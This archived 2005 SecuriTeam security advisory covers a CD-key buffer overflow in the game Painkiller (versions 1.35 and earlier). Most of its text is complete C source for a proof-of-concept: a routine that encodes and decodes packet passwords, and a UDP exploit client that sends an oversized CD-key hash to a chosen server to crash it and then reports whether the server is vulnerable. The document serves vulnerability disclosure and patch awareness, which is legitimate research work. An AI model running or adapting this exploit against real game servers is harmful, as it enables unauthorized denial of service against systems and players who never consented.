Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [NT] Painkiller CD-Key Buffer Overflow |
|---|---|
| Date: | 3 Feb 2005 11:02:52 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Painkiller CD-Key Buffer Overflow ------------------------------------------------------------------------ SUMMARY <http://www.peoplecanfly.com> Painkiller is "a FPS game developed by People can Fly". Due to insufficient bounds checking in Painkiller a remote attacker can cause the program to crash by supplying an arbitrary long CD-key. DETAILS Vulnerable Systems: * Painkiller version 1.35 and prior Immune Systems: * Painkiller version 1.61 or newer The vulnerability is caused by overflowing the buffer that stores the Gamespy CD-key hash for the online server-side authorization. This buffer is 100 bytes long (the Gamespy CD-key hash is long 72 characters), therefore if an attacker uses a longer hash than 100 bytes he can cause the overflow of the buffer. Two limitations exist for exploitation of this bug, the first is that only alpha-numeric characters are allowed (1-9, A-Z and a-z), the second is not so important since this is an in-game bug (therefore if a server is protected by password the attacker must know it). Exploit: painkiller_pckpwd.h /* Painkiller packet's password encoder/decoder 0.1 - http://aluigi.altervista.org/poc/painkkeybof.zip by Luigi Auriemma e-mail: aluigi@autistici.org web: http://aluigi.altervista.org INTRODUCTION -=========== When you want to join a password protected game server of Painkiller (http://www.painkillergame.com) your client sends a packet containing the packet ID (0x04), your client version, the 72 bytes of the Gamespy auth key (http://aluigi.altervista.org/papers/gskey-auth.txt) plus a "strange" text string after it. This text string is just the password you have used to join and it is encrypted using the other text string (the server challenge) sent by the server in its previous packet. My optimized algorithm is able to decode/encode the password stored in the packet sent by the client. HOW TO USE -========= The function is an algorithm used for both encoding and decoding without differences. It needs only 2 parameters: - pwd: the client's password stored in the packet - enc: the server challenge string Example: #include "painkiller_pckpwd.h" unsigned char pwd[] = "5mjblOpV8N", enc[] = "k7bEv4cGcw"; painkiller_pckpwd(pwd, enc); printf("Password: %s\n", pwd); // the password is "mypassword" LICENSE -====== Copyright 2004 Luigi Auriemma This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA http://www.gnu.org/licenses/gpl.txt */ void painkiller_pckpwd(unsigned char *pwd, unsigned char *enc) { unsigned char buff[64], encbuff[64], *p1, *p2; int len, i, cl, dl, esi, edi; p1 = pwd; while(1) { if((*p1 >= '0') && (*p1 <= '9')) { *p1 -= 0x30; } else if((*p1 >= 'a') && (*p1 <= 'z')) { *p1 -= 0x57; } else if((*p1 >= 'A') && (*p1 <= '\\')) { *p1 -= 0x1d; } else { break; } p1++; } len = p1 - pwd; p1 = buff; for(i = 0; i < 64; i++) { *p1++ = i; } p1 = enc; p2 = encbuff; for(i = 0; i < 64; i++) { *p2++ = *p1++; if(!*p1) p1 = enc; } p1 = buff; p2 = encbuff; for(i = esi = 0; i < 64; i++) { cl = *p1; esi = (*p2 + cl + esi) & 63; *p1++ = buff[esi]; buff[esi] = cl; p2++; } esi = edi = 0; p1 = pwd; for(i = 0; i < len; i++) { esi = (esi + 1) & 63; cl = buff[esi]; edi = (cl + edi) & 63; dl = buff[edi]; buff[esi] = dl; buff[edi] = cl; *p1++ ^= buff[(dl + cl) & 63]; } p1 = pwd; while(len--) { if(*p1 <= 9) { *p1 += 0x30; } else if((*p1 >= 0xa) && (*p1 <= 0x23)) { *p1 += 0x57; } else { *p1 += 0x1d; } p1++; } } painkkeybof.c /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include "painkiller_pckpwd.h" #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #endif #define VER "0.1" #define BUFFSZ 8192 #define PORT 3455 #define TIMEOUT 3 #define CONN "\xff\xff\xff\xff\x02" #define JOIN1 "\xff\xff\xff\xff\x04" #define EIP "AAAA" /* alpha-numeric only! (1 - 9, A - Z and a - z) */ #define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \ < 0) std_err(); #define REALRECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \ if(len < 0) std_err(); \ buff[len] = 0x00; #define RECV if(timeout(sd) < 0) { \ fputs("\nError: socket timeout, no reply received\n", stdout); \ exit(1); \ } \ REALRECV; u_char *show_info(u_char *buff, int len); int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len, verlen = 0, j, join2len; u_short port = PORT; u_char buff[BUFFSZ + 1], password[32], server_chall[32], *p, *gamever = NULL, info[] = "\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00", bof[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" EIP, *join2[] = { "122.304", /* 0 = 1.6 */ "105.263", /* 1 = 1.3 */ "105.262", /* 2 = 1.2 */ "101.258", /* 3 = 1.1 */ NULL }; setbuf(stdout, NULL); fputs("\n" "Painkiller <= 1.35 in-game cd-key alpha-numeric buffer-overflow "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <host> [port(%d)]\n" "\n" " Return address will be overwritten with 0x%08lx.\n" " Only alpha-numeric return addresses are allowed\n" "\n", argv[0], port, *(u_long *)EIP); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); fputs("- request informations:\n", stdout); *(u_long *)(info + 3) = ~time(NULL); SEND(info, sizeof(info) - 1); RECV; close(sd); gamever = show_info(buff, len); if(!gamever) { fputs("\nError: no game version in the information reply\n\n", stdout); exit(1); } verlen = strlen(gamever) + 1; *password = 0x00; j = 0; join2len = strlen(join2[j]) + 1; printf("- try client script version %s\n", join2[j]); for(;;) { /* for passwords only */ sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); fputs("\n- send connection request packet\n", stdout); SEND(CONN, sizeof(CONN) - 1); RECV; strncpy(server_chall, buff + 5, sizeof(server_chall) - 1); server_chall[sizeof(server_chall) - 1] = 0x00; printf("- server challenge: %s\n", server_chall); p = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) + sizeof(JOIN1) - 1; p = (u_char *)memcpy(p, gamever, verlen) + verlen; p = (u_char *)memcpy(p, join2[j], join2len) + join2len; p = (u_char *)memcpy(p, bof, sizeof(bof)) + /* Gamespy cd-key */ sizeof(bof); /* plus buffer-overflow */ if(!j) { /* new 1.6 protocol */ *p++ = 0x00; } else { /* old protocol */ *(u_long *)p = 0x00000000; p += 4; } len = strlen(password) + 1; memcpy(p, password, len); painkiller_pckpwd(p, server_chall); p += len; if(!j) *p++ = 0x01; /* new 1.6 protocol */ *(u_long *)p = time(NULL); p += 4; printf("- send the buffer-overflow packet (EIP = 0x%08lx)\n", *(u_long *)EIP); SEND(buff, p - buff); fputs("- wait some seconds...\n", stdout); if(timeout(sd) < 0) break; REALRECV; if(!buff[4]) { if(buff[5] == 1) { free(gamever); gamever = strdup(buff + 6); verlen = strlen(gamever) + 1; printf("\n- force game version to %s\n", gamever); if(buff[6 + verlen] == '?') { if(!join2[++j]) { fputs("\nError: this server uses an unknown client script version\n\n", stdout); exit(1); } join2len = strlen(join2[j]) + 1; printf("\n- try client script version %s\n", join2[j]); } close(sd); continue; } else if(buff[5] == 2) { if(!join2[++j]) { fputs("\nError: this server uses an unknown client script version\n\n", stdout); exit(1); } join2len = strlen(join2[j]) + 1; printf("\n- try client script version %s\n", join2[j]); close(sd); continue; } else if(buff[5] == 3) { fputs("- server is protected by password, insert it:\n ", stdout); fflush(stdin); fgets(password, sizeof(password) - 1, stdin); password[strlen(password) - 1] = 0x00; close(sd); continue; } else if(buff[5] == 13) { fputs("\n" "- the server is NOT vulnerable, it has replied with the error 13:\n" " Challenge response too long!\n", stdout); break; } printf("\nError: %s\n", buff + 6); exit(1); } fputs("- seems the server is not vulnerable since it is not crashed yet\n", stdout); break; } fputs("\n- check server:\n", stdout); SEND(info, sizeof(info) - 1); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } close(sd); return(0); } u_char *show_info(u_char *buff, int len) { u_char *p1, *p2, *limit, *ver = NULL; int nt = 0, doit = 0; limit = buff + len; p1 = buff + 5; while(p1 < limit) { p2 = strchr(p1, 0x00); if(!p2) break; *p2 = 0x00; if(!nt) { if(!*p1) break; if(!strcmp(p1, "gamever")) doit = 1; printf("%30s: ", p1); nt++; } else { if(doit) { ver = strdup(p1); doit = 0; } printf("%s\n", p1); nt = 0; } p1 = p2 + 1; } fputc('\n', stdout); return(ver); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif ADDITIONAL INFORMATION The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma. The original article can be found at: <http://aluigi.altervista.org/adv/painkkeybof-adv.txt> http://aluigi.altervista.org/adv/painkkeybof-adv.txt ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] Default SNMP Community Strings in Cisco IP/VC Products, SecuriTeam |
|---|---|
| Next by Date: | [NT] DeskNow Mail and Collaboration Server Directory Traversal Vulnerabilities, SecuriTeam |
| Previous by Thread: | [NEWS] Default SNMP Community Strings in Cisco IP/VC Products, SecuriTeam |
| Next by Thread: | [NT] DeskNow Mail and Collaboration Server Directory Traversal Vulnerabilities, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |